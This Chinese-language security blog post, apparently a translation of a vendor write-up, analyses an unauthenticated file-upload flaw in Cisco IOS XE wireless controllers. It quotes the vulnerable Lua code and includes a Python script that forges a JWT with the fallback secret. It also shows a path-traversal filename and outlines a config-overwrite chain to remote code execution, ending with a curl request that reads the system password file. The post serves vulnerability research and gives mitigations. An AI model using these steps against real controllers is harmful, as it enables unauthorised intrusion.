RCE 漏洞

RCE 漏洞

迪哥讲事 2025-06-05 09:30

声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。

****# 防走失:https://gugesay.com/archives/4395

**不想错过任何消息?设置星标↓ ↓ ↓


前言

最近思科发布的一份公告,详细说明了一个影响思科 IOS XE 无线控制器软件版本 17.12.03 及更早版本的漏洞。

该漏洞被描述为未经身份验证的任意文件上传,原因是存在一个硬编码的 JSON Web Token (JWT),该漏洞被利用的风险正在快速增加。

思科 IOS XE 无线局域网控制器 (WLC) 是一种广泛部署的企业级解决方案,用于管理和控制大规模无线网络。

漏洞分析

国外研究者的计划是通过比较一个易受攻击的镜像和一个已修复的镜像来分析漏洞。

首先获取 C9800-CL-universalk9.17.12.03.iso 和 C9800-CL-universalk9.17.12.04.iso,在 ISO 中,发现了两个.pkg 文件,虽然 file 命令没有提供太多信息,但  binwalk 却很有用。

通过提取和分析文件系统,Web 应用程序的核心组件位于/var/www
 和/var/scripts
 下,进一步检查文件发现,该应用程序使用的是 OpenResty,这是一个集成了 Lua 和 Nginx 的 Web 平台。

将易受攻击和已修复的目录加载到 VS Code 的 diffing 插件中,在/var/scripts/lua/features/
下发现了 ewlc_jwt_verify.lua 和 ewlc_jwt_upload_files.lua 中的显著变化。

鉴于漏洞与 JWT 相关,并且这些文件引用了 JWT 令牌和关联的密钥,这表明这些组件应该就是漏洞所在地。

为了确定这些 Lua 脚本是如何以及在哪里被调用的,研究人员在代码库中执行了一个简单的 grep 搜索。

在 /usr/binos/conf/nginx-conf/https-only/ap-conf/ewlc_auth_jwt.conf
 中,可以看到:

location /aparchive/upload {    add_header X-Content-Type-Options nosniff;    add_header X-XSS-Protection "1; mode=block";    charset_types text/html text/xml text/plain text/vnd.wap.wml application/javascript application/rss+xml text/css application/json;    charset utf-8;    client_max_body_size 1536M;    client_body_buffer_size 5000K;    set$upload_file_dst_path"/bootflash/completeCDB/";    access_by_lua_file /var/scripts/lua/features/ewlc_jwt_verify.lua;    content_by_lua_file /var/scripts/lua/features/ewlc_jwt_upload_files.lua;}#Location block for ap spectral recording uploadlocation /ap_spec_rec/upload/ {    add_header X-Content-Type-Options nosniff;    add_header X-XSS-Protection "1; mode=block";    charset_types text/html text/xml text/plain text/vnd.wap.wml application/javascript application/rss+xml text/css application/json;    charset utf-8;    client_max_body_size 500M;    client_body_buffer_size 5000K;    set$upload_file_dst_path"/harddisk/ap_spectral_recording/";    access_by_lua_file /var/scripts/lua/features/ewlc_jwt_verify.lua;    content_by_lua_file /var/scripts/lua/features/ewlc_jwt_upload_files.lua;}

这表明后端同时涉及 ewlc_jwt_verify.lua 和 ewlc_jwt_upload_files.lua 的上传相关端点——太棒了!

第二个配置块表明,/ap_spec_rec/upload/ 端点首先由 ewlc_jwt_verify.lua 处理,该文件充当访问阶段处理器。

如果请求通过验证,则会被转发到 ewlc_jwt_upload_files.lua 来处理实际上传,有关每个指令的更多详细信息,可参阅 
OpenResty [1]
文档。

ewlc_jwt_verify.lua 脚本从 /tmp/nginx_jwt_key 读取一个密钥,并使用它来验证通过 Cookie 头或 jwt URI 参数提供的 JWT。

如果密钥缺失,secret_read 被设置为 notfound,这看起来正是硬编码 JWT 机制的一部分。

-- ewlc_jwt_verify.lualocal jwt       = require"resty.jwt"local jwt_token = ngx.var.arg_jwtif jwt_token then    ngx.header['Set-Cookie'] = "jwt=" .. jwt_tokenelse    jwt_token = ngx.var.cookie_jwtendlocal secret_read = ""local key_fh = io.open("/tmp/nginx_jwt_key","r")if ( key_fh ~= nil )then    io.input(key_fh)    secret_read = io.read("*all")    io.close(key_fh)else    secret_read = "notfound"endlocal jwt_comm_secret = tostring(secret_read)local jwt_obj = jwt:verify(jwt_comm_secret, jwt_token)ifnot jwt_obj["verified"] then    local site = ngx.var.scheme .. "://" .. ngx.var.http_host;    local args = ngx.req.get_uri_args();    ngx.status = ngx.HTTP_UNAUTHORIZED    ngx.say(jwt_obj.reason);    ngx.exit(ngx.HTTP_OK)end

为了确定 JWT 最初是在哪里生成,通过运行 grep 命令,最终找到/var/scripts/lua/features/ewlc_jwt_get.lua:

-- ewlc_jwt_get.lualocal jwt = require"resty.jwt"local json = require'cjson'local req_id = ngx.req.get_headers()["JWTReqId"]local tcount = os.time()--Give expiration time as 5 mintcount = tcount+300local secret = ""local secret_sz =  64local in_fh = io.open("/tmp/nginx_jwt_key","r")if ( in_fh ~= nil )then    io.input(in_fh)    secret = io.read("*all")    io.close(in_fh)else    localrandom = require"resty.random".bytes    secret = random(secret_sz, true)    if secret == nilthen        secret = random(secret_sz)    end    local key_fh = io.open("/tmp/nginx_jwt_key","w")    if ( key_fh ~= nil ) then        io.output(key_fh)        io.write(secret)        io.close(key_fh)    endendlocal jwt_comm_secret = tostring(secret)--Generate the jwt keylocal jwt_gen_token = jwt:sign(        jwt_comm_secret,        {            header={typ="JWT", alg="HS256"},            payload={reqid=req_id, exp=tcount }        }    )local response = {token = jwt_gen_token}return ngx.say(json.encode(response))

此脚本从 /tmp/nginx_jwt_key 读取密钥(如果存在);否则,通过写入一个 64 字节的字符串来生成一个,然后,它使用 jwt:sign()
 创建一个 JWT, 其包含 JWTReqId 头和一个过期时间戳。

为了更好地理解流程,让我们尝试手动构建 JWT,首先,我们需要知道 JWTReqId 来自哪里。可以通过进一步在代码库中 grep 来找到:

有趣的是,头部是在一个 ELF 共享库中构建的:/usr/binos/lib64/libewlc_apmgr.so

为了深入挖掘,在 IDA Pro 中搜索 JWTReqId 字符串,从而找到 ewlc_apmgr_jwt_request 函数,从而更加清楚地了解 JWT 的内部生成方式。

上面的汇编代码显示头部字符串是使用 snprintf 构建的,一个有用的技巧是利用 LLM 来调查 s 变量的来源:

交叉引用查看,对 ewlc_apmgr_jwt_request 的调用只有一处引用!

非常好!JWTReqId 头部包含 cdb_token_request_id1。

可以尝试修改并运行 Lua 脚本来生成 JWT,或者将其转换为 Python:

import osimport timeimport jwttcount = int(time.time()) + 300req_id = 'cdb_token_request_id1'jwt_comm_secret = os.urandom(64)jwt_gen_token = jwt.encode(    {"reqid": req_id, "exp": tcount},    jwt_comm_secret,    algorithm="HS256",    headers={"typ": "JWT"})print(jwt_gen_token)Let’s try the upload endpoint with t

尝试使用 JWT 来测试上传端点:

奇怪,居然没成功。

回想后发现,漏洞公告中提到需要启用“带外 AP 图像下载”功能,经过一番研究,发现可以在“Configuration”→“Wireless Global”下的“ AP Image Upgrade” 中开启它。

这看起来像是一个运行在端口 8443 上的独立服务,开启它,并使用新端口重新尝试了我们之前的请求。

成功收到响应!这是一个 401 未授权错误,并提示签名不匹配。

这是可以预料的,因为当 JWT 没有使用正确的密钥签名时,jwt:verify()
 会失败,为了继续,需要使用 notfound 密钥重新生成 JWT。

成功!端点由位于 /var/scripts/lua/features/ewlc_jwt_upload_files.lua
 的脚本处理。

-- ewlc_jwt_upload_files ... if method == "POST" then    whiletruedo        local typ, req, err = form:read()        ifnot typ then            ngx.say("failed to read: ", err)            return        end        if typ == "header"then            local file_name = getFileName(req)            ifnot utils.isNil(file_name) then                ifnot file then                    file, err = io.open(location..file_name, "w+")                    ifnot file then                        return                    end                end            end        elseif typ == "body"then            if file then                file:write(req)            end        elseif typ == "part_end"then            if file then                file:close()                file = nil            end        elseif typ == "eof"then            break        end    endelse    ngx.say("Method Not Allowed")    ngx.exit(405)end

文件将被写入位置 .. file_name,其中位置定义为配置文件中的 /harddisk/ap_spectral_recording/
,如下所示:set $upload_file_dst_path /harddisk/ap_spectral_recording/;

没有任何东西阻止我们使用 .. 进行路径遍历,所以下一个问题是:我们应该将文件放在哪里?

访问 https://10.0.23.70:8443/ 显示了默认的 OpenResty 主页,该页面从 /usr/binos/openresty/nginx/html
 提供,因此这是一个逻辑的目标位置——我们将尝试将文件放在这里,值得注意的是,该服务不需要身份验证,使其成为利用上传路径的理想候选。

filename=”../../usr/binos/openresty/nginx/html/foo.txt”

RCE

现在只需建立一种可靠的方法,利用此上传功能就能够实现RCE,可能存在多种方法来实现这一点。

一种途径是使用 inotifywait 的服务,这是一个允许监控指定目录中文件事件的工具。

在深入研究这些服务后,我们发现了一个内部进程管理服务(pvp.sh),该服务等待文件写入到特定目录,一旦检测到变化,它可以根据服务配置文件中指定的命令触发服务重新加载。

pvp.sh 代码片段

pvp.sh 代码片段

简而言之,为了实现远程代码执行(RCE),我们需要:
– 用我们自己的命令覆盖现有的配置文件

  • 上传一个新文件以导致服务重新加载

  • 检查是否成功

修改后的配置文件

修改后的配置文件

发送请求

发送请求

# curl -k https://10.0.23.70/webui/login/etc_passwdroot:*:0:0:root:/root:/bin/bashbinos:x:85:85:binos administrative user:/usr/binos/conf:/usr/binos/conf/bshell.shbin:x:1:1:bin:/bin:/sbin/nologindaemon:x:2:2:daemon:/sbin:/sbin/nologinadm:x:3:4:adm:/var/adm:/sbin/nologinlp:x:4:7:lp:/var/spool/lpd:/sbin/nologinsync:x:5:0:sync:/sbin:/bin/syncshutdown:x:6:0:shutdown:/sbin:/sbin/shutdownhalt:x:7:0:halt:/sbin:/sbin/haltmail:x:8:12:mail:/var/spool/mail:/sbin/nologinftp:x:14:50:FTP User:/var/ftp:/sbin/nologinnobody:x:99:99:Nobody:/:/sbin/nologindbus:x:81:81:System message bus:/:/sbin/nologinsshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologinrpc:x:32:32:Portmapper RPC user:/:/sbin/nologinrpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologinnfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologinmailnull:x:47:47::/var/spool/mqueue:/sbin/nologinsmmsp:x:51:51::/var/spool/mqueue:/sbin/nologinmessagebus:x:998:997::/var/lib/dbus:/bin/falseavahi:x:997:996::/var/run/avahi-daemon:/bin/falseavahi-autoipd:x:996:995:Avahi autoip daemon:/var/run/avahi-autoipd:/bin/falseguestshell:!:1000:1000::/home/guestshell:qemu:x:1001:1001:qemu::/sbin/nologindockeruser:*:1000000:65536:Dockeruser:/:/sbin/nologin

注意:在全新 WLC 安装测试中,端口 8443 默认是开放的——即使没有主动启用 AP Image Upgrade 功能。

这表明该服务可能在默认安装中启用,并且易受攻击的端点至少在测试的 C9800 系列版本上是可访问的。

缓解措施

缓解措施的最佳选项是升级到最新版本,因为思科已经修复了该问题。

如果不可行,思科表示管理员可以禁用带外 AP 镜像下载功能,禁用此功能后,AP 镜像下载将使用 CAPWAP 方法进行 AP 镜像更新功能,这不会影响 AP 客户端状态。思科强烈建议在执行升级之前实施此缓解措施。

如果你是一个长期主义者,欢迎加入我的知识星球,我们一起往前走,每日都会更新,精细化运营,微信识别二维码付费即可加入,如不满意,72 小时内可在 App 内无条件自助退款

往期回顾

如何绕过签名校验

一款bp神器

挖掘有回显ssrf的隐藏payload

ssrf绕过新思路

一个辅助测试ssrf的工具

dom-xss精选文章

年度精选文章

Nuclei权威指南-如何躺赚

漏洞赏金猎人系列-如何测试设置功能IV

漏洞赏金猎人系列-如何测试注册功能以及相关Tips

结论

分析 Cisco IOS XE WLC 中的该漏洞揭示了硬编码的密钥、输入验证不足以及暴露的端点如何导致严重的安全风险——即使在广泛部署的企业基础设施中同样如此。

原文:https://horizon3.ai/attack-research/attack-blogs/cisco-ios-xe-wlc-arbitrary-file-upload-vulnerability-cve-2025-20188-analysis/

参考资料

[1] 
OpenResty : https://github.com/openresty/lua-nginx-module